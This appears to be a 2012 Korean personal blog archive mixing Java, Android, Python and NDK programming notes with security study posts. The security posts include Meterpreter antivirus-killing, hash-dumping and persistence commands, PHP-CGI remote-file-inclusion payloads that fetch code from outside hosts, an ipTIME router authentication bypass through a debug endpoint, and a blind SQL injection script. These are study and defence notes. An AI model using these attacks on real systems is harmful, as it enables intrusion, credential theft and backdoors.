message = null;

}

}


} catch (Exception ex) {

ex.printStackTrace();

System.exit(0);

// log(Level.WARNING, "MyThread.run()", ex);

} finally {

System.exit(0);

clearBuffer(buffer);

}

}

}


private void read(SelectionKey key) {


// SelectionKey로부터 소켓채널을 얻어온다.


SocketChannel sc = (SocketChannel) key.channel();

// ByteBuffer를 생성한다.

ByteBuffer buffer = ByteBuffer.allocateDirect(1024);

int read = 0;


try {


// 요청한 클라이언트의 소켓채널로부터 데이터를 읽어들인다.

read = sc.read(buffer);


// info(read + " byte를 읽었습니다.");

} catch (IOException ex) {

try {

sc.close();

} catch (IOException ex1) {


}

}


buffer.flip();


String data = new String();


try {

data = decoder.decode(buffer).toString();

} catch (CharacterCodingException ex) {


// log(Level.WARNING, "SimpleChatClient.read()", ex);

}


System.out.println("Message - " + data);


// 버퍼 메모리를 해제한다.

clearBuffer(buffer);

}


private void clearBuffer(ByteBuffer buffer) {


if (buffer != null) {

buffer.clear();

buffer = null;

}


}



}



Posted by k1rha
2012. 7. 26. 03:04


MainActivity 에서 Thread 를 돌려 변경되는  작업들을 다시 MainActivity 에서 참조하여 UI를 변경하고 싶을 때, 

MainActivity 에 update() 를 두고 MainActivity 를 넘기게 되면 디버깅시에는 잘 동작하는 것이 실제로 동작 시키면 잘 안되는 현상이 일어난다. 


이는 UI Thread는 외부 Thread 에서 참조할 수가 없기 때문에 일어나는 현상이다. 

이를 해결 하기 위해서 Handler 라는 개념을 사용 하게 된다. 

(C# 에서는 델리게이트라는 위임의 역할을 맡아주는 것이 따로 있다.)


핸들러란?

 

 시스템은 사용자가 작성한 UI에서 빠른 응답을 요구하고 있다.

만약  이상의 응당이 없을 경우 최악의 경우 작성된 프로그램이 강제로 종료가  경우도 발생할 수 있다.

이런 상황을 방지하기 위해서  오래걸리는 작업이 필요한 경우 두가지의 방법으로 해결을 할 수 있다.

첫번째는 시간이 오래걸리는 작업은 서비스로 만들어서 처리하는 방법

 새로운 쓰레드로 처리를 하는 방법

 

두번째 방법으로  생성해서 데이터 처리등의 시간이 오래걸리는 작업을 지원하기 위한 클래스가 존재하는데  핸들러(Handdler)이다.

 

간략하게 요약을 해보면

  • 백그라운드  생성을 위한 가장 유연한 방법이다.
  • 인스턴스 생성시 자동으로 안드로이드가  관리한다.
  • 메시지를 전달받게 되면 호출 되는 handlerMessage()에 실제 처리내용을 
  • post(), postDelayed()를 통해서 인자로 실행하고 자하는 Runnable객체를 전달할 수 있다.
  • View단에도 Runnable객처를 인자로 전달가능하고 이럴경우 코드가 심플해지는 경우도  있지만 Handler를 추천한다.

 

 

메시지(Message)란?

 

UI등에서 실제로 처리를 담당하는  데이터를 전송하거나 작업을 요청하기 위해서 전달하는 객체이다.

 

  • 핸들러로 전달되는 객체이다.
  • 전달된 메시지는 메시지 Queue를 통해서 핸들러가  사용한다.
  • 메시지를 전달하기 위해선 핸들러의 obtainMessage()호출해서 메시지 풀의 메시지를  전달해야한다.
  • 메시지를 전달하기 위해서는 sendMessage() 등을 사용한다.

메시지 전달 방식의 종류

  • sendMessage() - 큐의  메시지를 삽입한다.
  • sendMessageAtFrontQueue() - 큐의 맨앞에 메시지를 삽입한다.(우선처리)
  •  - 장비기동시간을 기준으로 삽입한다.(SystemClock.uptimeMillis()참고)
  • sendMessageDelayed() - 특정시간만큼 지연 삽입한다.







Posted by k1rha
2012. 7. 24. 15:43

백신 소프트웨어 무력화

meterpreter > run killav   


시스템 패스워드 해시 값 얻기

run hashdump 



공격 대상 시스템의 전체 트래픽 살펴보기

meterpreter>run packetrecorder -i 1 



시스템 스크레이핑

run scraper 



백도어 만들기,

 시스템 재부팅된 이후에도 미터프리터가 수행 될 수 있게 미터프리터 에이전트를 삽입.

리버스 연결일 경우 공격자 시스템에 다시 접속하는 대상 시스템의 간격을 조정할수 있음


>run persistence -X -i 50 -p 443 -r [source_ip] 

X 옵션이 부팅시 다시시작하겠음 


Posted by k1rha
2012. 7. 24. 14:46

ssh 스캐닝

 msf>use scanner/ssh/ssh_version

>set RHOST 127.0.0.1/24   //대역폭 스캔

>set THREADS 50

>run 


ftp anonymous 스캔 

msf>use auxiliary/scanner/ftp/anonymouse

>set RHOSTS 127..0.1/24

>set THREADS 50

>run


위의 ftp 경우 읽기 쓰기 권한까지 표시되서 나온다. 



snmp 스캐닝 


msf>use use scanner/snmp/snmp_login

>set RHOSTS 127.0.0.1/24

>set THREADS 50

>run

 



nmap 취약점 스캐닝


 nmap -sT -A --script=smb-check-bulns -P0 [target _ IP]


Posted by k1rha
2012. 7. 19. 22:44

Honeypot Alert] (UPDATE) Active Exploit Attempts for PHP-CGI Vuln

UPDATE - we have received more exploit attempt details from web hosting provider DreamHost. Thanks goes to Robert Rowley for data sharing. Details below.

As you may have heard, some security researchers recently released information outlining a long standing vulnerability within the PHP-CGI code. The short of it is that remote attackers may be able to pass command line arguments in a query_string that will be passed directly to the PHP-CGI program. Ouch...

Exploit Attempts

Our web honeypots caught the following exploit attempts today:

37.112.127.136 - - [07/May/2012:02:36:11 +0400] "GET /?-s+%3d HTTP/1.1" 200 38 "-" "-"
37.112.127.136 - - [07/May/2012:02:36:12 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.1" 200 38 "-" "-"
91.210.189.171 - - [07/May/2012:04:46:12 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
94.242.199.77 - - [07/May/2012:05:01:17 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.0" 200 753 "-" "-"
37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-s+%3d HTTP/1.0" 200 753 "-" "-"

Notice that while some of these are simply probes to see if the application might be vulnerable, there are also two RFI attempts to execute remote PHP code.

(UPDATE) DreamHost Exploit Attempt Details


Thanks for 태윤


파일 소스보기 

/index.php?-s 요렇게하면 소스가 딱


RFI 구문 

/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi





DreamHost security provided SpiderLabs Research team with ModSecurity alert logs related to PHP-CGI Exploit attempts. These logs provide a much wider view of attack scale as DreamHost hosts more than 1,000,000 domains. Here are some stats:

  • Number of PHP-CGI Exploit Attempts: 234,076
  • Number of unique domains targeted: 151,275

Here are the top 10 attack vectors seen (with the # of attacks shown in the first column:

 198489 'GET /index.php?-s'
7837 'GET /blog/index.php?-s'
6078 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.5999mu.com/a.txt'
2075 'GET /index.php?-s/wp-admin/install.php'
1790 'GET /wordpress/index.php?-s'
1605 'GET /wp/index.php?-s'
862 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron'
670 'GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi'
534 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dphp:%2f%2finput'
422 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.qz0451.com/1.txt'

Goal - Webshells/Backdoors

One of the major goals of these attacks are to try and download/install webshells and backdoors. Let's look at one example shown above:

GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi

The remote RFI file is a PHP backdoor program. One of the more interesting aspects of this code is the following section of code where the attacker wants to prevent others from exploiting the same vulnerability:

if($backdoored > 0)
{
	echo chr(10)."{$backdoored} BACKDOOR_INSTALLED".chr(10);

	$htaccess = getcwd() . "/.htaccess";
	$htaccess_body = @file_get_contents($htaccess);

	$fp = fopen(".htaccess", "w+");	
	if($fp)
	{
		fwrite($fp, 

		'<IfModule mod_rewrite.c>'.chr(10).
		'RewriteEngine On'.chr(10).
		'RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]'.chr(10).
		'RewriteRule ^(.*) $1? [L]'.chr(10).
		'</IfModule>'. 

		str_repeat(chr(10), 5). 
		$htaccess_body
		);

		fclose($fp);
	}
	else
	{
		echo ".htaccess bugfix error!" . chr(10);
	}
}

The highlighted mod_rewrite rules will be added to .htaccess files as a crude method of patching the PHP-CGI vuln to prevent someone else from exploiting the same issue. The RewriteCond line will inspect the query_string to see if it starts with the dash character (-) and is not followed by the equal sign character (=). If this is true, meaning someone is attempting to exploit the vuln, then the final RewriteRule will capture the full REQUEST_URI will then add a question mark character (?) to the end and instruct mod_rewrite to treat the request as a symlink ([L]). Using mod_rewrite in this way should cause future attack to fail.

Mitigations

Due to the fact that attackers are actively probing for this vulnerability combined with PHP code fixes that may not be complete, you should consider deploying some security filters in the interim. There have been public posts outlining possible filters using mod_rewrite such as the following:

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]

This roughly translates to: if the query_string does not have an equal sign (=) and it does have a dash (-) then issue a Forbidden response. The problem with this filter is that it would not catch the RFI examples we captured with the web honeypots as they have an = sign when declaring the PHP "auto_prepend_file" function.

Trustwave SpiderLabs has developed the following ModSecurity rule that will catch all currently known exploit attempts:

SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"

This rule will check for the four most common PHP command line arguments coming directly after the question mark (?) character to start the query_string. It will apply a URL decode and remove whitespace characters.

Posted by k1rha
2012. 7. 18. 21:08

구조체처럼 변수를 한번에 실어 나르고 싶지만, 그 타입이 불특정할때.. 객체 자체를 전송시키지만, 그값이 데이터 베이스나 그런곳에 들어가기엔 정규화되어 잇지 않을때 사용하기 좋은것이 바로 JSON 방식이다.


JSON 방식은 크게 2개가 묶여 있다.


Array 와 Object 이 두가지가 그것이다.


배열은 [ 1, 2, 3 ] 으로 표현되며 객체는 {"keyword":"value,"keyword2","value2"} 식으로 표현되는데,

이 array 안에 object 를 담애 낼수 있으며 , object 안에 array를 담아 낼 수도 있다.


간단하게 배열 안에 여러개의 변수가 담긴 Obejct 를 넣는 방법을 예시로 들어보겠다.

넣고자 하는 문자열은 다음과 같다.


[{"key3":"test3","key2":"test2","key1":"test"}] 


위에 설명에 따라 한행의 배열안에 OBJECT가 들어가 있고 그 오브젝트는 key3 key2 key1 로 들어가 있다. 각 키는 하나의 값을 가지고 있다.



[ example ]

import org.json.JSONArray;

import org.json.JSONException;

import org.json.JSONObject;

public class Json {

String json_ex = "[{\"key01\":\"aaaa\",\"key02\":\"bbbb\"}]";

void jsonCombine(){

JSONArray array = new JSONArray();

JSONObject obj = new JSONObject();

try{

obj.put("key1", "test");

obj.put("key2", "test2");

obj.put("key3", "test3");

array.put(obj);

Log.e("json parser", "=================="+array.toString());

}catch(Exception e){

Log.e("JSON Combine",":::::array Error "+e.toString());

}

}

void jsonParsor(){

String a=null;

String b=null;

try {

JSONArray ja  = new JSONArray(json_ex);

JSONObject jsonRoot =ja.getJSONObject(0); //0번째 라인...다중 배열시엔 for문

a = jsonRoot.getString("key01");

b = jsonRoot.getString("key02");

} catch (JSONException e1) {

e1.printStackTrace();

}

}

 


Posted by k1rha
2012. 7. 18. 16:00

쓰레드를 돌리고 싶은경우 2.7 - > 3.2로 넘어가는 순간 import 되는 것이 thread 에서 _thread 로 변경되엇다.


참조 사이트 : http://docs.python.org/py3k/library/_thread.html?highlight=thread#_thread.start_new_thread



[ example ] 

import _thread, time


g_count = 0


def counter(id,count):

global g_count

for i in range(count):

print ('id %s--> %s' % (id,i))

g_count - g_count +1


_thread.start_new_thread(counter,(1,10000))


time.sleep(3)


print ('total counter = ', g_count)

print ('exit') 


Posted by k1rha
2012. 7. 18. 15:45

system 함수를 사용하여 명령어를 칠경우, 그 값을 리턴 받고 싶을때가 있다.

Python은 이것을 파이프를 통해 간단하게 가져 올 수가 있다.



        pipe = Popen("df -h",shell=True,stdout=PIPE)

        DF_RESULT = pipe.stdout.readlines()[1].split()

        if(int(DF_RESULT[4][0:1])>95):

                print(" ::::  DANGER!! HardDisk is full IN"+SERVER_NAME)


        else:

                print(""); 

 

위와같은 케이스는 하드드라이브의 용량을 체크하는 구절을 위해 만든 구문이다. 

위와같이 shell 옵션과 stdout 옵션을 통해 가지고 popen 을 하면 파이프를 통해 가져올 수 있다.

Posted by k1rha
2012. 7. 18. 15:41

UDP server - client를 구현중 python 3.2 에서는 이상한 에러를 자주 뱉어 내게 된다. 


이이유는 sendto가 2.7에서는 string 으로 전송이 가능하였지만 3.2 부터는 바이트로 전송이 되어야 하기 때문이다.



예제코드는 아래와 같다

[ server ]


 def socketServer():

        svrsock = socket(AF_INET,SOCK_DGRAM)

        svrsock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

        try:

                svrsock.bind(('',34444))

        except IOError:

                print ("Socket bindding error plz use another port \n")


        while 1:

                try :

                        s,addr = svrsock.recvfrom(100)

                        print(s)

                        svrsock.sendto(bytes(ALTERT_MESSAGE,'ascii'),addr)  //여기가 오류를 뱉어낸 부분이다.


                except IOError:

                        print ('socket sendto error')



[ client ] 


 import socket


HOST = '127.0.0.1'    # The remote host

PORT = 34444              # The same port as used by the server

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock.sendto(bytes("aaa",'ascii'), (HOST, PORT))


buff=sock.recvfrom(100)


print(buff)



Posted by k1rha
2012. 7. 18. 01:29

http://blog.naver.com/eqelizer?Redirect=Log&logNo=20142712784

Posted by k1rha
2012. 7. 17. 08:38






정우형 시큐인사이드 발표 영상

http://www.youtube.com/watch?v=_6XrBSrnkTQ&feature=youtu.be

데일리 시큐 기사 

http://www.dailysecu.com/news_view.php?article_id=2585 



http://returnaddr.org/b0d/view.php?id=mydoc_secudoc&page=1&sn1&divpage=1&sn=off&ss=on&sc=on&select_arrange=hit&desc=asc&no=6&PHPSESSID=3f5a7202e2ea46023bd01491e08ff60d 


* IPTIME 공유기 해킹 과정 정리 *

ㅇ 장비명 : IpTIME Q104
ㅇ 벤   더 : EFM Networks
ㅇ 접근포트 : http://192.168.0.1 (http://192.168.0.1:55555, http://192.168.255.1:55555)

- BASIC Auth 사용하여 인증
- 디폴트 password (admin/null)와 쉬운 PW를 찍었으나 실패.
- 울프팀 게임으로 인해 과다 트래픽 감지 / 차단되어 경고 창 뜸
- 소스보기 => 리포트 화면이 iframe 으로 구성된 것을 확인
- 소스 : <iframe width="600" height="430" name="subwin" src="http://192.168.0.1/nd-bin/netdetect.cgi?flag=nd-report">
http://192.168.0.1/cgi-bin/timepro.cgi?flag=debug
  는 AUTH를 거치지만,
  http://192.168.0.1/nd-bin/netdetect.cgi?flag=debug 는 거치지 않고 아래창 뜸

      File Name :  [                         ]
   Command Name :  [                         ]
        [Show]

  action이 /cgi-bin/timepro.cgi 지만, netdetect.cgi로 해주고
  input 태그 값인 cmd에 원하는 명령 입력하여 실행!

-----------------------
/var/boa_vh.conf
-----------------------
Port 55555 
User root 
Group root 
ServerAdmin root@localhost 
VirtualHost 
DocumentRoot /home/httpd 
UserDir public_html 
DirectoryIndex index.html 
KeepAliveMax 100 
KeepAliveTimeout 10 
MimeTypes /etc/mime.types 
DefaultType text/plain 
AddType application/x-httpd-cgi cgi 
AddType text/html html 
ScriptAlias /cgi-bin/ /bin/ 
ScriptAlias /nd-bin/ /bin/ 
ScriptAlias /login/ /bin/login/ 
ScriptAlias /ddns/ /bin/ddns/ 
ScriptAlias /testbin/ /tmp/ 
ServerName IPRouter 
SinglePostLimit 2097152 
Auth /cgi-bin /etc/httpd.passwd 
Auth /main /etc/httpd.passwd 

-----------------------
/var/firewall_rule
-----------------------
separator:----- Messenger -----:0: 
aim:AIM:1:32:nat:app_filter:tcp:0:5190:filter_dnat:0 
buddy:버디버디:3:32:nat:app_filter:tcp:0:952:filter_dnat:0:+:32:nat:app_filter:tcp:0:810-819:filter_dnat:0:+:32:nat:app_filter:tcp:0:940-959:filter_dnat:0 
icq:ICQ:1:32:nat:app_filter:tcp:0:5190:filter_dnat:0 
iman:IMAN(KT):1:32:nat:app_filter:tcp:0:5282:filter_dnat:0 
irc:IRC:2:32:nat:app_filter:tcp:0:6660-6669:filter_dnat:0:+:32:nat:app_filter:udp:0:6660-6669:filter_dnat:0 
msm:MSN 메신저:3:32:nat:app_filter:tcp:0:1863:filter_dnat:0:+:32:nat:app_filter:tcp:0:6891-6900:filter_dnat:0:+:16:url:messenger.hotmail.com: 
nateon:네이트온:2:32:nat:app_filter:tcp:0:5004:filter_dnat:0:+:16:url:prs.nate.com: 
tachy:타키(SayClub):1:32:nat:app_filter:tcp:0:6699:filter_dnat:0 
separator:-------- P2P --------:0: 
edonkey:eDonkey,Pruna,eMule:1:32:nat:app_filter:tcp:0:4661-4662:filter_dnat:0 
fileguri:파일구리:1:32:nat:app_filter:tcp:0:9493:filter_dnat:0 
guruguru:구루구루:2:32:nat:app_filter:tcp:0:9292:filter_dnat:0:+:32:nat:app_filter:tcp:0:22000-22400:filter_dnat:0 
soribard:소리바다:2:32:nat:app_filter:udp:0:7674-7675:filter_dnat:0:+:32:nat:app_filter:udp:0:22321:filter_dnat:0 
winmx:WinMX:2:32:nat:app_filter:tcp:0:6699:filter_dnat:0:+:32:nat:app_filter:udp:0:6257:filter_dnat:0 
separator:-------- Game -------:0: 
diable:디아블로:1:32:nat:app_filter:tcp:0:4000:filter_dnat:0 
kartrider:카트라이더:2:32:nat:app_filter:tcp:0:39311:filter_dnat:0:+:32:nat:app_filter:tcp:0:36567:filter_dnat:0 
lineage:리니지:2:32:nat:app_filter:tcp:0:1950-2002:filter_dnat:0:+:32:nat:app_filter:tcp:0:2004-2200:filter_dnat:0 
mu:뮤:1:32:nat:app_filter:tcp:0:44405:filter_dnat:0 

-----------------------
/etc/httpd.passwd
-----------------------
admin:$1S89Y1UUF3Ls:

- echo 명령을 이용하여 httpd.passwd 내용을 "admin::" 로 비번 초기화 시킨 후,
   password 인증 없이 접속!!

http://192.168.255.1:55555/cgi-bin/timepro.cgi?flag=debug&cmd=rm -f /etc/httpd.passwd
http://192.168.255.1:55555/cgi-bin/timepro.cgi?flag=debug&cmd=cp /etc/httpd.passwd.bak /etc/httpd.passwd
- 잡업 후 복구 해야~

by xcuter

Posted by k1rha
2012. 7. 16. 23:27

사례. 


file 을 리스트의 목록에 따라 여러개를 호출해 주려고 하였었다.

변수명을 미리 선언해주지 않는 python 의 특징이 있지만, 배열의 경우는 미리 선언을 해 주어야한다. 

미리 선언방식은 [None] 를 원하는 배열 크기만큼 곱하여 미리 선언해 주면된다.



FILE_LOG = [None] * len(LIST)

위와같이 선언시에 리스트 내용의 갯수만큼 FILE_LOG 리스트가 생겨난다. 


ex1)


FILE = [None] * len(LOG_PATH_LIST)

while len(LOG_PATH_LIST) > i :

     FILE_LOG[i] = open(LOG_PATH_LIST[i],'r+');

     FILE_END[i] = FILE_LOG[i].seek(0,2)

.

.




Posted by k1rha
2012. 7. 16. 20:42

열혈 강의 파이썬 책에서 보면 seek 파일을 파일의 끝부터 거꾸로 불러오고 싶을경우

f.seek(-[offset],2)  와 같은 인자값으로 거꾸로 불러 올수 있다고 되어 있다.


0의 경우 파일의 처음부터 1의 경우 현위치부터 2의 경우 파일의 끝부터를 나타내게 되는데,

필자는 위와같은 코드를 바로 적용시키면


 FILE_END=f_log.seek(-3,2)

io.UnsupportedOperation: can't do nonzero end-relative seeks


와같은 에러를 뱉어 냈다.  사실 정확한 원인은 잘 파악하지 못한 상태이지만, 아래와 같은 방법으로 파일의 끝부터 4000바이트 정도 떨어진 크기를 불러오는 식으로 처리 하게 되었다.


영 찜찜하지만...-_-  왜 바로하면 안되는지와 해결법을 알고 계시는분은 

[ k1rha@hacktizen.com ]으로 알려주시면 밥한끼 사도록 하겠습니다. 



f_log = open(LOG_PATH_LIST[0],'r+');


FILE_END=f_log.seek(0,2)

if(FILE_END < 4000):

        f_log.seek(0)

else:

        FILE_BACKWORD_SIZE=FILE_END-4000

        f_log.seek(FILE_BACKWORD_SIZE,0)



LOG_LIST =f_log.readlines()
 


Posted by k1rha
2012. 7. 14. 00:39

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 12. 21:50

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 12. 03:23

import urllib.request

import re


#url_head = "http://webhacking.kr/challenge/web/web-29/index.php?no=2i%7c%7csubstring(id,1,1)=0x61"

e=1

while 1 :

url_head = "http://webhacking.kr/challenge/web/web-29/index.php?no=2%7c%7csubstring(id,1,1)=0x61%26%26substring(pw,"+str(e)+",1)=0x"

url_tail = "&id=guest&pw=guest"

cookie='PHPSESSID=0e8d276d5b26e1bae81c9e839f5659aa; notice=yes'

headers = {'Cookie':cookie}

z=1

while 1:  

url = url_head + str(z) + url_tail

req = urllib.request.Request(url, None, headers)

res = urllib.request.urlopen(req)

html = str(res.read())

# print(html)

# if re.findall('Failure',html):

if re.findall('admin password',html):

print(str(e)+":"+str(z))

break

if (z>255):

print(str(e)+"is empty")

break

z+=1

e+=1

print("----------------------------------------");

Posted by k1rha
2012. 7. 11. 19:19

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 11. 18:58

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 11. 03:10

FTP 관련 파이썬 


 from ftplib import FTP

ftp = FTP('hust.net')

ftp.login('hust****a','**********')


목록

ftp.dir()  : 목록을 가져옴

ftp.rename('test.tgz','t.tgz')  : 파일 명을 바꿈

ftp.delete('t.tgz') : 파일삭제

ftp.pwd() :현재 디렉토리 출력

ftp.mkd('k1rha') : 디렉토리만들기. 

ftp.cwd('file') : 디렉토리로 들어가기 



Posted by k1rha
2012. 7. 11. 00:08

root@ubuntu:~/k1rha/python/sock# cat sock.py 

 # Echo server program

import socket


HOST = ''                 # Symbolic name meaning all available interfaces

PORT = 50007              # Arbitrary non-privileged port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((HOST, PORT))

s.listen(1)

conn, addr = s.accept()

print('Connected by', addr)

while True:

    data = conn.recv(1024)

    if not data: break

    conn.sendall(data)

conn.close()




root@ubuntu:~/k1rha/python/sock# cat clientSock.py 

 import socket


HOST = '127.0.0.1'    # The remote host

PORT = 50007              # The same port as used by the server

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

s.sendall(b'Hello, world')

data = s.recv(1024)

s.close()

print('Received', repr(data))


root@ubuntu:~/k1rha/python/sock# 





Posted by k1rha
2012. 7. 10. 17:37

[android] 영상처리 NDK 단에서 처리하여 리턴하기 (Image Processing in NDK)


서론 : 이 과정은 아래글인 JNI 설정법을 먼저 읽어두고 숙지한 상태로 진행 한다는 것을 전제로 하겠다. 

안드로이드에서 카메라색상 값을 추출하면 그 값은 YUV 값으로 추출된다. 하지만 영상처리를 위해서는 YUV값보단 RGB 값으로 도될려주는 것이 더 간편하다.


때문에 안드로이드에서 YUV 값을 RGB 값으로 변환 하여야하는데, 인터넷에서 돌아다니는 소스는 대부분 자바단에서 YUV->RGB 로의 변환이 많다. 이렇게 될 경우 실시간 이미지 프로세싱을 하게되면 속도가 NDK 보다 느려짐이 발생 할 수 있다.


때문에 YUV 값을 C언어단으로 보내어 RGB 처리를 한후 이미지 프로세싱을 하고 그결과 값을 리턴하는 식의 진행을 하게 되었다. 



순서는 다음과 같다 


1. native 메소드를 생성 후 C언어 헤더 만들기.

2. 그 헤더의 전처리 함수를 이용하여 .c 파일의 RGV 값 추출 코드 만들기.

3. 포인터 형태로 RGB 값을 리턴하기. 

4. 리턴한 값을 비트맵으로 만들기.

5. ImageView 로 띄우기.


1.native 메소드를 생성 후 C언어 헤더 만들기.



맨아레 코드처럼 private native void 형으로 함수명을 선어해 주면 javah 명령어를 통해 C언어와 연결되는 헤더가 만들어 지게 된다. 


이 헤더 값을 기반으로 C언어단에서 Byte 값을 입력받아, Bitmap 파일로 리턴해 주는 함수를 짜야한다 사용한 코드는 너무 길어서 맨 아래 source_1 로 첨부 하도록 하겠다. (흐름이 깨지지 않도록)



그리고 android.mk 파일을 수정 해야 한다. (자세한것은 JNI 사용법 문서를 참조)

android.mk 파일 내용은 다음과 같다.(기존 JNI 문서보다 LOCAL_LDLIBS 환경변수가 추가되는데, 필자도 어떤 설정인지 파악을 하진 못했다.






위와같이 LOCAL_LDLIBS 환경변수를 추가적으로 주고 LOCAL_MODULE 에는 만들어질 라이브러리명, LOCAL_SRC_FILES 는 C파일명 을 설정해서 .c .h android.mk 파일 세개를 JNI 폴더로 옴긴 뒤 빌드 한다.





이후 자바단에서 그 함수(메소드)를 이용하여 비트맵을 전송시킨다. (콜백 함수를 이용한다) 


  

위그림에서  초록색 박스가 필자의 블로그에서 소개했던 기본 [Camera 를 surface 뷰로 띄우기] 에서 변경된 부분이다.

callback 함수에서 mainActivity의 ImageView 값을 변경해 주기 위해서 MainActivity를 인자값으로 넘겨서 실행 시키게 했다.



아래 빨간색 네모박스는 mHolder에 callback 함수를 추가시키는 부분이다. 별다른 내용은 없다.

그리고 노란색 박스는 콜백함수의 구현부이다.


중요한 부분은 파란색 박스의 prBitmap 부분이다. 이부분에서 빈 bitmap 파일을 ARGB8888 형태로 선언해두고, 리턴한 바이트 값을 비트맵으로 받아올 준비를 한다. 


그리고 그 윗부분 노란색 박스 아래에 OnPreviewFrame 부분인데, 이 메소드가 선언되면 인자값으로 카메라 값과 그 카메라의 바이트가 전송되는데 이값이 YUV 값이 되는것이다. (이 부분때문에 이해하느라 고생함)


이값을 바탕으로 native 함수인 YUB420SPtoRGB8888NEW 함수에 data를 넣고 prBitmap 으로 리턴 받게 된다.

이값을 이미지뷰에 띄워주면 된다.




결론.

이렇게 카메라 값을 native 에 넣었고 RGB로 변환 후 꺼냈으므로, 그사이에 영상처리 기술을 얼마든지 넣을 수 있다.

필요한 부분은 차차 구현해 나가고 결국엔 비트맵으로 출력해오면된다. 


중요한건 속도인데, 16~40프레임 선에서 처리가 된다. 






source_1 

 /**************************************************************************

* implements by Jeon (poemer@kut.ac.kr) 2012.05.13

* interface method Android - JNI - Native C 

* YUV420SP Converts to RGB 8888 Format

* this routines are optimized on ARM based CPU

***************************************************************************/

/*android specific headers*/

#include <jni.h>

#include <android/log.h>

#include <android/bitmap.h>


/*standard library*/

#include <time.h>

#include <math.h>

#include <limits.h>

#include <stdio.h>

#include <stdlib.h>

#include <inttypes.h>

#include <unistd.h>

#include <assert.h>

#include <string.h>


#include "edge_smash_CameraView.h"

#define LOG_TAG "YUV2RGB_Native"

#define LOG_LEVEL 10

#define LOGI(level, ...) if (level <= LOG_LEVEL) {__android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__);}

#define LOGE(level, ...)if (level <= LOG_LEVEL) {__android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__);}

inline int32_t toInt(jbyte pValue) {

return (0xff & (int32_t) pValue);

}

inline int32_t max(int32_t pValue1, int32_t pValue2) {

if (pValue1 < pValue2) {

return pValue2;

} else {

return pValue1;

}

}

inline int32_t clamp(int32_t pValue, int32_t pLowest, int32_t pHighest) {

if (pValue < 0) {

return pLowest;

} else if (pValue > pHighest) {

return pHighest;

} else {

return pValue;

}

}

inline int32_t color(pColorR, pColorG, pColorB) {

return 0xFF000000 | ((pColorB << 6) & 0x00FF0000) | ((pColorG >> 2) & 0x0000FF00) | ((pColorR >> 10) & 0x000000FF);

}


JNIEXPORT void JNICALL Java_edge_smash_CameraView_NdkTest(JNIEnv * penv, jobject object, jint a){

LOGE(1, "AndroidBitmap_getInfo failed! error = %d",a);

// return a+11;

}

JNIEXPORT void JNICALL Java_edge_smash_CameraView_YUV420SPtoRGB8888NEW(JNIEnv * pEnv, jobject pObj, jobject pBitmap, jbyteArray pinArray) {

AndroidBitmapInfo lBitmapInfo;

uint32_t* lBitmapContent;

int lRet;

// LOGE(1, "**IN JNI bitmap converter IN!");

//1. retrieve information about the bitmap

    if ((lRet = AndroidBitmap_getInfo(pEnv, pBitmap, &lBitmapInfo)) < 0) {

        LOGE(1, "AndroidBitmap_getInfo failed! error = %d", lRet);

        return;

    }

if (lBitmapInfo.format != ANDROID_BITMAP_FORMAT_RGBA_8888) {

LOGE(1, "Bitmap format is not RGBA_8888!");

return;

}

//2. lock the pixel buffer and retrieve a pointer to it

    if ((lRet = AndroidBitmap_lockPixels(pEnv, pBitmap, (void**)&lBitmapContent)) < 0) {

        LOGE(1, "AndroidBitmap_lockPixels() failed! error = %d", lRet);

return;

    }

jbyte* lSource = (*pEnv)->GetPrimitiveArrayCritical(pEnv, pinArray, 0);

if (lSource == NULL) {

LOGE(1, "Source is null");

return;

}

//LOGE(1, "**Start JNI bitmap converter ");


int32_t lFrameSize = lBitmapInfo.width * lBitmapInfo.height;

int32_t lYIndex, lUVIndex;

int32_t lX, lY;

int32_t lColorY, lColorU, lColorV;

int32_t lColorR, lColorG, lColorB;

int32_t y1192;
